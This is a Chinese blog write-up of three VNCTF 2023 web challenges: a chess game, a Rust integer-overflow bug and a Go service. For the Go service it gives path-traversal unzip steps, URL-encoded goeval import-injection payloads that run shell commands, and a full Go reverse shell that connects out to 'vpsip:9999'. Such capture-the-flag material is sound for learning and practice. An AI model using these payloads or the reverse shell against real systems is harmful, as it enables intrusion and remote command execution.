2023VNCTF Web

v2ish1yan

已于 2023-02-21 11:16:28 修改

阅读量1k

点赞数 1

分类专栏： CTF WEB 文章标签： php golang

于 2023-02-19 17:02:40 首次发布

本文链接：https://blog.csdn.net/weixin_52585514/article/details/129112197

版权

CTF WEB 专栏收录该内容

18 篇文章 3 订阅

订阅专栏

2023VNCTF Web

比赛的时候在回学校的路上，所以没有打，听说质量挺高，赛后做一下

象棋王子

一个普通的js游戏，玩过关了就给flag，所以flag肯定在前端源码里

这里就是弹flag的js，只不过被混淆了，直接复制到控制台执行就行

电子木鱼

一个整数溢出

源码

use actix_files::Files;
use actix_web::{
    error, get, post,
    web::{self, Json},
    App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
    value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
    fn get(&self) -> T {
        let mutex = self.value.lock().unwrap();
        mutex.clone()
    }
    fn set(&self, val: T) {
        let mut mutex = self.value.lock().unwrap();
        *mutex = val;
    }
    fn from(val: T) -> ThreadLocker<T> {
        ThreadLocker::<T> {
            value: Arc::new(Mutex::new(val)),
        }
    }
}

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
    GONGDE.set(0);
    web::Json(APIResult {
        success: true,
        message: "重开成功，继续挑战佛祖吧",
    })
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了，佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊，真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" { //只有这两个会给cost翻倍数
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了，怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿，佛祖借我功德，快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么？床，睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    let port = std::env::var("PORT")
        .unwrap_or_else(|_| "2333".to_string())
        .parse()
        .expect("Invalid PORT");

    println!("Listening on 0.0.0.0:{}", port);

    HttpServer::new(move || {
        let tera = match Tera::new("src/templates/**/*.html") {
            Ok(t) => t,
            Err(e) => {
                println!("Error: {}", e);
                ::std::process::exit(1);
            }
        };
        App::new()
            .app_data(web::Data::new(tera))
            .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
            .service(index)
            .service(upgrade)
            .service(reset)
    })
    .bind(("0.0.0.0", port))?
    .run()
    .await
}

i32的范围是-2147483648到2147483647，所以只要在Cost那将减的数量变成大于2147483648，就可以造成溢出，从而得到flag

在/upgrade路由

name=Cost&quantity=214748365

BabyGo

0x00 前言

这题在机场等同学的时候做了一下，但是那个解压功能一直报错，我还以为是我的问题，结构第二天做一下发现是可以的

goeval代码注入
filepath.Clean构造任意解压路径

0x01 源码分析

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

总体来说不是太难理解

/路由，生成一个userDir并保存在Session里，后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob文件，将User信息保存在里面

/upload路由，将文件上传到userDir+"uploads/"目录，并且会检测文件后缀

/unzip路由，会对userDir+"uploads/"目录里的zip文件进行解压，且目的路径可控，接受GET传参的path的值

destPath := filepath.Clean(userUploadDir + c.Query("path"))

然后来看看这个filepath.Clean是什么东西

Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则，直到不能再做进一步处理。

用一个元素替换多个Separator元素。

消除每个.路径名元素（当前目录）。

消除每个内部的…路径名称元素（父目录）和它前面的非…元素。

消除了将…放在根路径后面的情况（‘/…’)：也就是说，假设Separator是’/'，在一个路径的开头用"/“替换”/…"。

返回的路径只有在代表根目录时才以斜线结尾，例如Unix系统中的"/"或Windows系统中的C:

最后，任何出现的斜线都被Separator替换。

如果这个过程的结果是一个空字符串，Clean返回字符串"."。

from https://pkg.go.dev/path/filepath#Clean

所以我们可以构造路径，将文件解压到任何我们可以解压的地方

/backdoor路由，会从userDir目录读取user.gob文件的内容，并检测Power键的值是否为"admin"，如果为True，就执行

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

并返回执行结果

所以可以在本地构造一个user.gob，将Power的值改为"admin"并将其压缩，然后上传并解压到userDir目标覆盖原来的user.gob，这样就可以成功执行到goeval.Eval()了

而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))里可以发现并没有可以直接执行任意代码的地方，可控的只有第三个参数

goeval.Eval()的第三参数可以进行包的导入，因为通过报错可以执行题目环境GO的src目录，所以我最开始想的是在fmt包里导入一个函数Println，这样在执行goeval.Eval()的时候就可以执行我们自己构造的代码。

但是我想少了，如果直接将pkg传参为fmt的话，因为在Println()被fmt包里的其他文件被定义过，所以我这再定义一个就会报错

然后我就随手搜了一下goeval.Eval，就发现了可以对goeval.Eval进行代码注入，从而远程执行代码

根据这篇文件去看看goeval.Eval的源码

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
	var (
		tmp = `package main
%s
%s
func main() {
%s
}
`
		importStr string
		fullCode string
	 	newTmpDir = tempDir + dirSeparator + RandString(8)
	)

	if 0 < len(imports) {
		importStr = "import ("
		for _, item := range imports {
			if blankInd := strings.Index(item, " "); -1 < blankInd {
				importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
			} else {
				importStr += fmt.Sprintf("\n\"%s\"", item)
			}
		}
		importStr += "\n)"
	}
	fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

	var codeBytes = []byte(fullCode)
	// 格式化输出的代码
	if formatCode, err := format.Source(codeBytes); nil == err {
		// 格式化失败，就还是用 content 吧
		codeBytes = formatCode
	}

	// 创建目录
	if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
		return
	}
	defer os.RemoveAll(newTmpDir)
	// 创建文件
	tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
	if err != nil {
		return re, err
	}
	defer os.Remove(tmpFile.Name())
	// 代码写入文件
	tmpFile.Write(codeBytes)
	tmpFile.Close()
	// 运行代码
	cmd := exec.Command("go", "run", tmpFile.Name())
	res, err := cmd.CombinedOutput()
	return res, err
}

可以看出来，Eval是将代码写入一个临时文件然后运行再返回运行的结果，而且是以拼接的方式来写入代码

所以可以进行代码注入，用\t替代空格，同时由于他执行的是main内的代码，而且这个是写死的，所以得将要执行的代码写入init()里，这个函数会在main()前执行，然后使用var来闭合最后面的")

init函数特性

1.init函数可以在所有程序执行开始前被调用，并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数，每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值，也未声明，所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次，init函数只会被调用一次，也就是只执行一次
7.init函数在代码中不能被显示的调用，不能被引用（赋值给函数变量），否则会出现编译错误
8.导入包不要出现循环依赖，这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行，我们可以这样使用：import _ “test_xxxx”，导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行，这两个操作都是在同一个goroutine中调用的，按顺序调用，一次一个包
11.init函数不应该依赖任何在main函数里创建的变量，因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine，也就是在初始化的同时启动新的goroutine，这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数，会增加代码的复杂性，可读性也会下降
14.一个源文件下可以有多个init函数，代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序

pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1"
goeval.Eval("", "fmt.Println(\"Good\")", pkg)

就会执行

package main

import (
"os/exec"
"fmt"
)

func	init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}
var(
a="1"
)



func main() {
fmt.Println("Good")
}

0x02 题解

方法一代码注入

先在本地创建一个user.gob文件，就跟源码里的方式一样建一个再压缩

然后上传文件，再解压缩文件

解压缩的url为

/unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7

然后访问/backdoor路由，进行代码注入，远程执行命令

payload

/backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221

方法二使用别名执行自己的包

这是我在写wp的时候发现的另一个方法

看一下Eval对第三个参数的区别处理

for _, item := range imports {
    if blankInd := strings.Index(item, " "); -1 < blankInd {
        importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
    } else {
        importStr += fmt.Sprintf("\n\"%s\"", item)
    }
}

eg:

goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec")

就会变成

package main

import (
 fmt "os/exec"
)



func main() {
fmt.Println("Good")
}

相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt，从而执行任意代码

自己建立的包

PrintLn.go

package v2i

import (
	"fmt"
	"os/exec"
)
func Println(a string){
	_=a
	cmd:=exec.Command("ls", "/")
	out,_:=cmd.CombinedOutput()
	fmt.Println(string(out))
}

将文件压缩，然后上传，解压到/usr/local/go/src/v2i

路径在报错里看到

/unzip?path=../../../../usr/local/go/src/v2i

然后在/backdoor路由

/backdoor?pkg=fmt v2i

这样就执行了我们的代码，但是有点麻烦，得不断上传解压缩

但也可以试试反弹shell，如果要反弹shell的话，自己建的包就得是【从网上抄的代码XD】

package v2i
import (
	"io"
	"net"
	"io/ioutil"
	"log"
	"os/exec"
)

var (
	cmd string
	line string
)

func Println(a string) {
	_=a
	addr := "vpsip:9999" //远程连接主机名
	conn,err := net.Dial("tcp",addr) //拨号操作，用于连接服务端，需要指定协议。
	if err != nil {
		log.Fatal(err)
	}

	buf := make([]byte,10240) //定义一个切片的长度是10240。
	for  {
		n,err := conn.Read(buf) //接受的命令
		if err != nil && err != io.EOF {  //io.EOF在网络编程中表示对端把链接关闭了。
			log.Fatal(err)
		}

		cmd_str := string(buf[:n])
		cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行
		stdout, err := cmd.StdoutPipe()
		if err != nil {
			log.Fatal(err)
		}
		defer stdout.Close()
		if err := cmd.Start(); err != nil {
			log.Fatal(err)
		}
		opBytes, err := ioutil.ReadAll(stdout)
		if err != nil {
			log.Fatal(err)
		}
		conn.Write([]byte(opBytes)) //返回执行结果
	}
}